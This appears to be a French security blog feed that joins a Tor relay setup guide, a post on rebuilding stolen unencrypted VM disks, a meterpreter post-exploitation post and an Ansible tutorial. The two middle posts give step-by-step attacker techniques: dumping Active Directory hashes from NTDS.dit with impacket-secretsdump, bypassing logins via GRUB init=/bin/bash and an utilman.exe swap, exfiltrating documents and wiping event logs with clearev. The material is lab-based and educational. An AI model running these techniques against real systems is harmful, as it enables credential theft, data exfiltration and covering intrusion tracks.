Attention, les informations ci-dessous seront publiques. Je vous conseille (très) vivement de ne pas inscrire des informations qui pourrait se rattacher à vous.

Les 5 directives ci-dessous représentent la configuration minimale pour un relay Guard/Middle Tor. Si-vous souhaitez allouer uniquement une partie de votre bande passante et de votre quota internet à votre relai, ajoutez les 4 directives suivantes. (Je vous le conseille vivement aussi, car un relay tor peut vite générer s’il n’est pas bridé entre 50go et + par jour)

AccountingStart day 0:00 # reset à minuit * les jours du quota 
AccountingMax 5 GBytes # 5go par jours 
RelayBandwidthRate 1000 KBytes # débit moyen 1mo 
RelayBandwidthBurst 2000 KBytes # débit max en cas de pique : 2mo 

Pour plus d’informations :

• https://support.torproject.org/relay-operators/limit-total-bandwidth/
• https://community.torproject.org/relay/setup/post-install/

Configuration finale de mon côté :

B. Assurez-vous que le relay est accessible depuis l’exterieur

Dans mon cas, il faut que je crée une règle de redirection de port dans ma box/routeur afin que mon serveur puisse être accessible depuis l’externe. J’ouvre donc le port 443 (TCP) externe que je redirige vers le port 443 (TCP) de l’IP 192.168.1.19 qui n’est qu’autre que mon serveur. :

C. Redémarrez le service

Redémarrez le daemon tor pour que vos modifications de configuration prennent effet :

systemctl restart tor@default

Afin de vérifier si votre relay est bien configuré correctement, je vous invite à consulter les logs de celui-ci avec l’une des commandes suivantes :

journalctl -e -u tor@default

Une fois que vous avez la confirmation que votre relais est bien atteignable depuis l’extérieur (cf la fin des logs), vous pouvez vous en assurer en vérifiant si le réseau Tor peut accéder à votre serveur est accessible depuis le réseau tor :

• https://bridges.torproject.org/scan/

Environ 3 heures après le démarrage de votre relais, les informations concernant celui-ci devraient apparaître dans la recherche des relais sur le portail Metrics. Vous pouvez rechercher votre relais à l’aide de son nom, de son IP, ou bien encore de son empreinte numérique.

V. Surveiller votre relay en temps réel

Un petit tool très sympathique a été développé par la communauté open source : Nyx. Celui-ci vous permettra d’avoir des statistiques sur le trafic en temps réel de votre relais Tor. Pour l’installer :

apt install nyx

Vous pouvez surveiller votre processus tor avec l’utilisation de la bande passante, la quantité de trafic, les logs.

Vous pouvez exécuter cette commande aussi en tant que « root ». Mais cela n’est pas recommandé pour des questions de sécurité.

sudo -u debian-tor nyx

J’espère qu’à travers cet article je vous aurai un peu sensibilisé sur le fait que nous ne sommes clairement pas tous égaux en ce qui concerne l’accès non censuré à Internet, surtout dans les pays ou le régime politique en place est autocratique.

Alors non, utiliser le navigateur Tor n’est pas forcément utile pour vous en fonction de votre positionnement géographique, mais pour d’autres la réponse est oui.

Vive l’internet non censuré et accessible par tous !

++

L’article Configuration d’un relais Tor (Guard/Middle Node) est apparu en premier sur Le Guide Du SecOps.

Rappel : L’article qui va suivre contient des techniques et méthodes qui peuvent s’avérer être illégales et dangereuses si elles sont utilisées à mauvais escient. Ce tutoriel ne doit en aucun cas être utilisé contre un particulier, une entreprise, une organisation à but non lucratif ou une administration publique de quelconque pays. Je me dédouane de toute responsabilité en cas de problèmes ou d’incidents de quelque nature que ce soit après le visionnage de cet article.

**FOR EDUCATIONAL PURPOSES ONLY**

0. Introduction

Le chiffrement des disques durs est une pratique fondamentale pour protéger les données sensibles des entreprises et des utilisateurs individuels. En effet, en cas de vol de la machine (virtuelle/physique) les données ne peuvent pas être accessibles sans la clé de déchiffrement appropriée. En outre, cette technique est également devenue un élément-clé de certaines conformités réglementaires dans de nombreux secteurs. Dans cet article, nous allons aborder l’analyse et la reconstruction de machines virtuelles (VMs) suite à un scénario d’attaque fictif ayant impacté un serveur de sauvegarde contenant des fichiers de disque virtuel au format .vmdk non chiffré (à tout hasard : p).

I. Scenario :

Un attaquant a été en capacité de récupérer plusieurs fichiers de disques virtuels après avoir eu accès à un serveur de sauvegarde utilisant le protocole ISCSi. Il souhaite les analyser afin de vérifier si oui ou non il pourrait accéder à des données confidentielles.

Voici les deux fichiers suivants :

• Ubuntu : Ubuntu-22.04-Crash-Test-Do-Not-Update.vmdk
• Windows Server : DC-cl1.vmdk

Afin de faciliter la rédaction de cet artice, je vais utiliser exclusivement des fichiers .vmdk (fichier de disque virtuel utilisé par les machines virtuelles qui ont vocation à être « cross-platforme »)

II. Pour une machine linux

J’effectue la démonstration avec une VM Ubuntu 22.04

A. Analyse des fichiers (Lecture seulement)

Depuis un hôte Windows, avec le logiciel 7ZIP, je peux facilement ouvrir le fichier .vmdk qui n’est autre qu’un « fichier conteneur » dédié aux stockages des données de la VM :

Les 3 fichiers « .img » représente chaque partition du système d’exploitation. La plus intéressante étant « 2.img » qui est le (fichier le plus grand) qui contient l’ensemble des données de l’OS.

Suite à l’ouverture de celui-ci j’accède directement à la racine du système de fichier. Il est donc possible de consulter n’importe quel dossiers/fichiers sans aucune restriction.

Ici, par exemple, j’accède à un fichier « témoin » stocké dans /root que j’avais précédemment créé en guise de test.

B. Reconstruction de la VM et bypass de l’authentification

Je vais effectuer cette manipulation avec Virtualbox, mais cela est faisable aussi sur VMware Workstation. (dans mon cas j’ai rencontré des petits soucis aléatoires de m*rde avec VMware Workstation 17 Sous Linux…)

Lors de la création de la VM, passez en mode « Expert » afin d’avoir une vue un peu plus détaillé. Ajouter un disque virtuel existant (Use an existing virtual hard disk file) afin que la futur VM se base sur ce disque pour démarrer.

Une fois les paramétrages préliminaires effectués, démarrez la VM et saisissez au plus vite la combinaison de touches shift+echap afin d’afficher le menu de démarrage nommé « GRUB » si l’OS que vous essayez de reconstruire n’affiche pas ce menu par défaut au boot.

Ensuite, appuyez sur la touche ‘e’ pour modifier les paramètres de grub de manière temporaire,et ainsi modifier le comportement de l’amorçage du kernel.

Descendez à la fin du fichier et localisez le bou de ligne « ro quiet splash $vt_handoff« 

Remplacez ce bout de ligne par : rw init=/bin/bash. Enregistrez les modifications avec la touche F10. Cela aura d’ailleurs pour effet de reprendre la séquence de démarrage de la VM.

Cette action va faire booter le système dans un mode « spécial » appellé : Mono-utilisateur (root, le seul, l’unique, le vrai)

J’obtiens donc un shell root en lecture/écriture (d’ou l’instruction rw init=/bin/bash plus haut).

En cas d’échec, remonter le système de fichiers de force (je n’ai jamais eu à la faire pour ma part lors de mes tests) :

mount / -o remount,rw

Il ne me reste plus qu’à changer les mots de passe de(s) utilisateur(s) en question(s). Pour ma part je vais changer le mdp de « user » (qui a des droits sudo) et de root.

passwd user 

passwd # Modifie le mdp de l'utilisateur courant (root) :p 

Note : Vu que « user » dispose de droits sudo, j’aurais pu me passer de changer directement le mdp de root.

Une fois que vous avez changé le(s) mot(s) de passe, redémarrer « de force » le système avec :

reboot -f 

Le système va alors booter « normalement » et vous pourrez vous connecter avec le(s) nouveau(x) mdp associé(s) au(x) compte(s).

III. Pour une machine Windows

J’effectue la démonstration avec une VM Windows server 2022

A. Analyse des fichiers (Lecture seulement)

Même principe qu’avec un système d’exploitation basé sur Linux, ouvrer le fichier « disque virtuel (.vmdk) » avec 7zip (ou équivalent)

Sélectionnez le fichier « Basic Data Partition » qui contient le système de fichiers racine d’un OS Windows.

De nouveau, ici vous avez accès en lecture seulement aux fichiers. Même si vous n’avez pas de droits d’écriture, vous avez quand même la capacité de copier les fichiers, ce qui va être fort utile pour l’étape suivante.

B. Dump du fichier NTDS.dit

Pour rappel, le fichier NTDS.dit est la « base de données » de l’Active Directory qui stocke les informations d’identification et de sécurité des utilisateurs, des groupes et des ordinateurs. (hashes…)

En accédant au répertoire Windows\NTDS depuis 7zip, je suis en capacité de récupérer le fameux fichier NTDS.dit en le copiant.

Afin d’extraire les données de ce fichier, il me faut absolument disposer des deux fichiers connexes Windows\System32\SECURITY et Windows\System32\SYSTEM. Pourquoi allez-vous me dire ?

Et bien voici la réponse :p

Comme dit précédement, lorsqu’un contrôleur de domaine Active Directory est installé, les informations d’identification des utilisateurs sont stockées dans un fichier appelé NTDS.dit. Ce fichier est protégé par une clé de chiffrement stockée dans les fichiers SYSTEM et SECURITY.

Pour accéder au contenu du fichier NTDS.dit, il est donc nécessaire d’extraire la clé de chiffrement à partir des fichiers SYSTEM et SECURITY. Cette clé de chiffrement est utilisée pour déchiffrer le contenu du fichier NTDS.dit et donc récupérer les informations d’identification des utilisateurs.

Copiez donc ces deux fichiers au sein du même répertoire que celui ou vous avez stocké NTDS.dit

Depuis l’utilitaire secretdump (de la suite impacket) qui de mémoire est un outil natif présent dans les versions récentes de Kalilinux, vous pouvez extraire les haches de tous les utilisateurs du domaine avec la commande suivante :

/usr/bin/impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local

C. Reconstruction de la VM et bypass de l’authentification

Même principe que plus haut à quelques différences près. Lors de la création de la VM, passez en mode « Expert » afin d’avoir une vue un peu plus détaillé. Ajouter un disque virtuel existant (Use an existing virtual hard disk file) afin que la futur VM se base sur ce disque pour démarrer.

Puis, dans les paramètres de la VM, ajoutez un disque de démarrage. Vu que l’OS cible est Windows Server, il est recommandé pour éviter tout bug, d’utiliser un fichier ISO (récent) qui correspond à la version du système. (Ici Windows Server 2022)

Une fois que vous avez branché celui-ci à la VM, vous pouvez démarrer la VM et utiliser la touche de boot F12 pour choisir ce périphérique de démarrage

Ou alors modifier directement l’ordre de boot dans les paramètres système de la VM

Dès lors que vous êtes arrivé sur le menu initial de l’installation de Windows (suite au boot du fichier .ISO), ajustez votre clavier et cliquez sur suivant.

Puis, cliquez sur « Réparer L’ ordinateur »

Cela va vous afficher le « menu bleu » de Windows. Cliquez sur Dépannage

Puis sur « Invite de commande »

Un terminal va alors s’ouvrir. Grâce à celui-ci, il va être possible de pouvoir effectuer quelques opérations permettant a posteriori de modifier le mot de passe de n’importe quel utilisateur du système.

Dans un premier temps, il convient avec l’utilitaire diskpart d’assigner une lettre au « Volume 1 » du disque 0 (celui-ci en comporte 4 comme l’image le montre). Ce « Volume 1 » contient les données du système. Depuis peu, aucune lettre lui est assignée par défaut. (sur les nouvelles versions)

Suivez les étapes ci-dessous

Entrer sur la partition en question à l’aide de la lettre que vous lui avez assignée. Dirigez-vous vers le dossier Windows\System32.

Renommer le programme utilman.exe en utilman.exe.old et copiez le programme cmd.exe vers le fichier utilman.exe. Ce tour de « passe passe », va vous permettre d’ouvrir un terminal avec des droits d’administrateur lors de l’affichage de l’écran de verrouillage de l’OS en cliquant sur l’icône « Facilité d’accès » / « Ease of Access »

Eteignez la machine, puis rallumez la.

C.1 Cas spécial – Système d’exploitation installé avec UEFI

Si lors du démarrage de celle-ci, vous obtenez le message suivant FATAL: INT18: BOOT FAILURE, cela indique très probablement que vous essayez de booter sur un système d’exploitation supportant EFI/UEFI, mais que vous n’avez pas activé ce mode.

Éteignez de force, et allez dans les paramétrages du système de la VM afin de cocher l’option enable EFI (Spécial Oses only)

Quelques petits rappels sur EFI/UEFI afin que les choses soient un peu plus claires :

EFI (Extensible Firmware Interface) et UEFI (Unified Extensible Firmware Interface) sont tous deux des normes de firmware utilisées pour initialiser le matériel de l’ordinateur et lancer le système d’exploitation. La principale différence entre les deux est que UEFI est une version améliorée et plus récente d’EFI.

EFI a été introduit par Intel en 2000 pour remplacer le BIOS (Basic Input/Output System), qui était utilisé pour initialiser le matériel et lancer le système d’exploitation depuis les années 1980. Il a été conçu pour être plus flexible et extensible que le BIOS, avec la possibilité de charger des pilotes et des applications supplémentaires avant le lancement du système d’exploitation.

UEFI comprend toutes les fonctionnalités d’EFI, mais avec des améliorations telles que la prise en charge de disques durs de plus de 2 To, la compatibilité avec les interfaces graphiques pour une meilleure interface utilisateur, la possibilité de démarrer à partir d’un réseau et une sécurité améliorée.

L’option « Enable EFI (special OSes only) » dans VirtualBox permet donc d’activer le support de l’EFI/UEFI pour les machines virtuelles. En effet, même si depuis ces dernières années de plus en plus d’OS s’installe par défaut via UEFI, il y a encore beaucoup d’OS qui s’installe en mode « BIOS » par défaut (surtout pour les distributions open source).

Si vous cochez cette option, cela signifie que vous souhaitez que votre machine virtuelle utilise l’EFI / UEFI pour démarrer le système d’exploitation. Cela peut être nécessaire pour certains systèmes d’exploitation plus récents qui requièrent l’EFI / UEFI pour démarrer.

Avant de redémarrer, n’oubliez pas changer l’ordre de boot par défaut (si vous l’avez changé) comme ça vous démarrerez directement sur le disque contenant l’OS et non sur l’ISO monté as a DVD.

Une fois que tout est bon, démarrez la machine. Depuis l’écran de verrouillage du système appuyez sur l’icône afin d’exécuter non pas le processus utilman.exe « lui-même » mais cmd.exe que nous avons copié en utilman.exe, pour qu’un terminal privilégié puisse se déclencher lorsque vous cliquez sur l’icône en question.

Pro Tips : Maximiser votre fenêtre, car il se peut que le terminal ne s’affiche pas correctement.

Sur windows 11, le logo ci-dessus a été remplacé par un petit « petit bonhomme »

Un terminal « privilégié » devrait apparaître.

Voici les commandes que vous allez devoir saisir afin de reset le(s) mdp de n’importe quels utilisateurs (en fonction de votre contexte, les commandes sont à adapter)

Si par défaut le compte administrator (local) n’a pas été renommé, vous pouvez reset son mot de passe avec :

net user administrator 123+aze

Pour reset le compte administrator (du domaine) :

net user administrator 123+aze /domain

Après avoir effectué ce(s) actions, vous pouvez alors accéder à la session de l’utilisateur(s) de votre choix.

IV. Conclusion

Le chiffrement des partitions système (windows ou linux) est la solution pour remédier à ce problème de sécurité majeure mais que beaucoup beaucoup de personnes igniore. Cela permetra de protéger les données stockées sur vos machines en les rendant illisibles sans la clé de déchiffrement appropriée (chiffrement symétrique). Alternativement, vous pouvez utiliser les fonctions de « chiffrement de VM » que proposent certains hyperviseurs comme les éditeurs VMware, ou Oracle.

++

Geoffrey

L’article Reconstruction d’OS non chiffrés : Analyse post-exploitation est apparu en premier sur Le Guide Du SecOps.

Rappel : L’article qui va suivre contient des techniques et méthodes qui peuvent s’avérer être illégales et dangereuses si elles sont utilisées à mauvais escient. Ce tutoriel ne doit en aucun cas être utilisé contre un particulier, une entreprise, une organisation à but non lucratif ou une administration publique de quelconque pays. Je me dédouane de toute responsabilité en cas de problèmes ou d’incidents de quelque nature que ce soit après le visionnage de cet article.

Bonjour à tous dans ce billet nous allons voir comment exfiltrer des données depuis une machine dont nous avons pris le contrôle en amont. Nous allons utiliser une session meterpreter déjà connectée à une victime disposant d’un système d’exploitation Windows.

nb: Cet article ne vous montreras pas comment prendre le contrôle d’une machine windows.

I. Prérequis

• Une session meterpreter (depuis kalilinux), connectée à une machine Windows (serveur 2019 dans mon cas).
  • Vous pouvez aussi utiliser Windows 7, 10, et même pourquoi pas Windows 11 ^^

Imaginez le contexte suivant :

Vous venez de prendre le contrôle d’un ordinateur Windows via l’exploitation d’une faille de sécurité, ou bien en ayant installé un logiciel infecté par un virus. Dès lors vous souhaitez rechercher des documents sensibles qui pourraient appartenir à la victime.

Lors de vos recherches, je vous conseille de vous concentrer sur moins de 10 extensions de fichier (ex : .pdf,.docx,.doc,.xlsx,.pptx etc.). Dans notre cas pour simplifier le didacticiel, nous allons nous concentrer sur les deux extensions de fichiers suivants :

• pdf
• docx

En guise de test, j’ai créé rapidement des fichiers sur la machine victime avec des noms qui pourrait s’apparenter à des documents confidentiels au sein d’une entreprise.. Ces documents ont été déposés dans un partage SMB, et ils sont bien entendu fictif.

Ensuite, exécutez la commande suivante, qui va rechercher tous les documents dont l’extension est .pdf/.docx depuis la racine du système de fichiers de notre serveur compromis :

search -f *.docx -f *.pdf 

Rapidement, nous trouvons quatre fichiers aux noms évocateurs

II. Exflitration des données

Bon, nous avons trouvé des données, mais nous ne pouvons pas encore les exploiter de manière concrète. Nous savons simplement que ces fichiers existent. Pour exfiltrer ces données, nous devons nous positionner dans les répertoires en question avec la commande suivante :

cd '<chemin absolut>'

Puis éxécutez la commande suivante :

download *

Comme vous l’indique la capture d’écran ci-dessous, les fichiers ont été téléchargés avec succès, et sont stockés dans le dossier suivant de ma machine attaquante kali : /home/kali/

Afin d’effacer d’éventuelle traces numérique suite à notre intrusion dans le système, exécutez la commande suivante :

clearev

++

Geoffrey

L’article Exfiltrer des données depuis une session meterpreter (Post Exploitation) est apparu en premier sur Le Guide Du SecOps.

Ansible est un outil d’automatisation qui parfois peut s’avérer complexe, mais qui mérite clairement votre attention si-vous administrez un grand nombre de serveur. Dans ce présent article, nous allons voir comment réaliser des actions de maintenance basiques sur plusieurs instances « slave » (ubuntu 20.04/22.04).

Voilà à quoi va ressembler mon petit lab’ :

• Kali linux (192.168.130.128), Instance (contrôleur de noeud) qui va piloter le déploiement de mes actions sur les autres serveurs :
  • Ubuntu 22.04 – 192.168.130.144
    • utilisateur : user (droits sudo)
  • Ubuntu 20.04 – 192.168.130.139
    • utilisateur : user (droits sudo)

Petit prérequis pour avoir un workflow « click and go take a coffe » :

• Utiliser l’authentification ssh par couple de clé privée/publique

Pour rappel voici comment réaliser ceci :

ssh-keygen # Génération d'une clé SSH "basique" si vous n'en avez pas
ssh-copy-id user@192.168.130.144 # copie de cette clé sur l'instance 1
ssh-copy-id user@192.168.130.139 # copie de cette clé sur l'instance 1

Les couples de clés ssh sont stocké dans cet emplacement (par défaut) :

ls ~/.ssh/
id_rsa
id_rsa.pub

I. Installation d’ansible sur votre machine « pilote »

Bien, maintenant passons aux choses sérieuses. Ce qui est top avec ansible, c’est qu’il agit comme un orchestrateur par l’intermédiaire du protocole très populaire SSH. On dit qu’il est « agentless », (pas besoin d’installer un programme « agent » client sur les machines concernées)

Sur ma Kali, je vais donc procéder à l’installation d’ansible de cette manière :

sudo apt update && sudo apt install ansible -y

Voici une des arborescence « type » à utiliser pour ansible. Vous n’êtes pas forcément obligé de la respecter, mais sachez que c’est une des plus courantes. Sur Kali, celle-ci ne se crée pas automatiquement de mémoire. Vous devrez donc peut-être la créer à la main…

Les ressources qui vont nous interesser dans le contexte de l’article sont les suivantes :

• inventory/hosts
• roles/update/update.yml

II. Préparez votre environnement

cd /etc/ansible/

Astuce : Afin de vous faciliter la vie, utilisez un éditeur de code comme VSCode afin d’interagir avec vos fichiers plus facilement. Par ailleurs, je vous encourage à utiliser l’extension VSCode « YAML » afin de vous aider dans la rédaction de vos playbooks ainsi que dans la gestion des fichiers connexes.

Dans mon fichier inventory/hosts, je vais donc créer deux « groupes ».

• [lab1]
• [lab2]

L’avantage de faire des groupes ansible permet de cibler précisément sur quel « pool » de serveur vous souhaitez effectuer vos actions de maintenance, afin d’avoir une architecture système propre et bien « splitté ».

Dans un premier temps, je vais effectuer un simple test de connectivité (piiiing) sur le groupe « lab1 » (contenant uniquement l’IP 192.168.130.144)

ansible --inventory-file inventory/hosts -m ping lab1 -u user

À contrario, je peux aussi effectuer le même test pour le groupe « lab2 » (contenant uniquement l’IP 192.168.130.139)

ansible --inventory-file inventory/hosts -m ping lab2 -u user

Enfin, si vous souhaitez effectuer ce test de connectivité sur toutes vos instances, alors vous pouvez utiliser le mot-clé « all » à la place d’un nom de groupe.

ansible --inventory-file inventory/hosts -m ping all -u user

II. Executez des commandes « one line » sur plusieurs instances en même temps

Eh oui, vous n’avez pas forcément besoin d’utiliser des scripts au format .yml (appellé playbooks) tout le temps avec ansible. Certes, c’est moins propre mais si vous souhaitez exécuter ponctuellement une instruction, cela sera plus rapide.

On ne va pas se le cacher, la quasi-totalité des actions de maintenance à réaliser requiers des privilèges plus importants que de simples droits utilisateurs. Par défaut, je vais donc suffixer ma commande avec les options suivantes :

• -K : Cet argument permet d’interagir avec notre « shell distant », et ainsi de préfixer chaque commande par sudo pour le compte en question (user dans mon cas). Attention celui-ci doit évidement disposer de droit sudo afin que cela puisse fonctionner
  • Le mot de passe est à saisir manuellement dès lors que vous avez saisi la commande !
• -become-user : Cela permet de dire explicitement à ansible « Je souhaiterais devenir l’utilisateur suivant » (root dans notre cas)

Détails des autres options ci-dessous…

cd /etc/ansible/

ansible --inventory-file inventory/hosts -m shell -a "apt update -y" all -u user -become-user -K

• –inventory-file : Emplacement du fichier hosts (à utiliser uniquement, si vous n’êtes pas dans le même dossier que celui-ci)
• -m : module à utiliser : Ici je vais utiliser le module « shell » classique. à la suite de cet argument, on retrouvera le nom du groupe (lab1, lab2, ou all dans mon cas)
• -a : argument à transmettre au module utilisé (ici le module est shell)
• -u : utilisateur (distant) avec lequel je vais me connecter sur les machines « ansiblé ». Pour mes deux serveurs (.139, .144)

L’instruction à l’écran « BECOME Password » vous invite à saisir le mot de passe du compte avec lequel vous vous connectez. Celui-ci doit disposer de droits « sudo ».

Méfiez-vous de l’option « all ». En effet, dans mon cas cela fonctionne car j’ai exactement la même configuration (utilisateurs/mots de passe) sur chacune de mes instances. Je passe en premier lieu par un compte classique avant de « m’élever » en tant que root. Vous trouverez beaucoup de ressources/tuto sur le net qui « passe » uniquement le compte root. Par principe, cela n’est pas une bonne pratique que se connecter directement « as root » sur un serveur bien que la plupart utilisent l’auth SSH clé privée/publique ce qui limite drastiquement l’impact.

Encore faut-il « forcer » l’authentification exclusive clé privée/clé publique, ce qui n’est pas souvent le cas… pour plus d’info : https://le-guide-du-secops.fr/2020/09/25/configurer-le-service-ssh-avec-uniquement-lauthentification-par-paire-de-cles-privee-publique-linux/

III. Mettez à jours vos serveurs directement avec le module apt !

Il y deux méthodes dit « classique » pour effectuer des actions de maintenance à savoir :

• Utiliser un playbook (À utiliser lorsque plusieurs vous souhaitez exécuter plusieurs tâches d’administration « séquentiel »)

• Exécuter une commande « One liner » sans passer par un playbook (à utiliser uniquement pour un, voire deux enchainements de commande, car cela devient beaucoup trop verbeux après)
  • Utilisez le module « shell »
  • Ou utiliser un module ansible (apt dans mon cas) dédié pour votre action si celui-ci existe. L’avantage de cette option est qu’en cas d’erreur, ce module produira plus de logs, et donc cela sera plus facile pour vous de résoudre le problème.

Sans Playbook

ansible --inventory-file inventory/hosts -m apt -a "upgrade=yes update_cache=yes" lab1 -u user -become-user -K

Si-vous souhaitez effectuer vos tests sur plusieurs groupes en même temps, utiliser une virgule pour inclure chacun de vos groupes : lab1,lab2

ansible --inventory-file inventory/hosts -m apt -a "upgrade=yes update_cache=yes" lab1,lab2 -u user -become-user -K

Avec playbook(s)

Rappel sur la notion de playbook :

Un playbook Ansible est un script au format .yml qui décrit une configuration ou un ensemble de tâches à exécuter sur un ou plusieurs hôtes. Il permet de formaliser l’automatisation de la configuration/maintenance d’X instances.

Dans mon cas, je vais effectuer les deux actions suivantes, mais on aurait très bien pu avoir une dizaine de tâches voir plus :

• Créer un fichier dans le dossier /tmp/ et lister le contenu de ce dossier
• Mettre à jour mon serveur (nécessite des droits sudo)

sudo gedit /etc/ansible/roles/update/update.yml 

- name: Ansible playbook tasks automations 
  hosts: all 
  become: true
  tasks:
    - name: Create a test file in /tmp/
      shell: 
          "echo \"Hello world !\" >> /tmp/test ; ls -l /tmp/test"
    - name: Update the system 
      apt:
        update_cache: yes
        upgrade: yes

Dès lors, je vais exécuter la commande suivante afin de « jouer » mon playbook sur mes deux instances !

ansible-playbook --inventory-file inventory/hosts -u user -become-user -K roles/update/update.yml

Si-vous souhaitez avoir un résultat plus détaillé, je vous invite à saisir l’un des arguments supplémentaires ci-après :

-v  (peu verbeux, action par défaut)
-vv (très verbeux, utilisé en cas de troublshooting) 
-vvv (très verbeux, utilisé en cas de troublshooting complexe) 

J’espère que ce didacticiel vous aura plu. Désormais ansible sera moins étranger pour vous et j’espère que vous avez compris la puissance de cet outil surtout pour l’administration système… :p

++

Geoffrey

III. Sources

• https://www.clickittech.com/tutorial/how-to-manage-linux-servers-with-ansible
• https://www.jeffgeerling.com/blog/2018/updating-all-your-servers-ansible
• Et bien d’autres que j’ai oublié de noter

L’article Automatiser l’administration de vos serveurs linux avec ansible (Démonstration pas à pas) est apparu en premier sur Le Guide Du SecOps.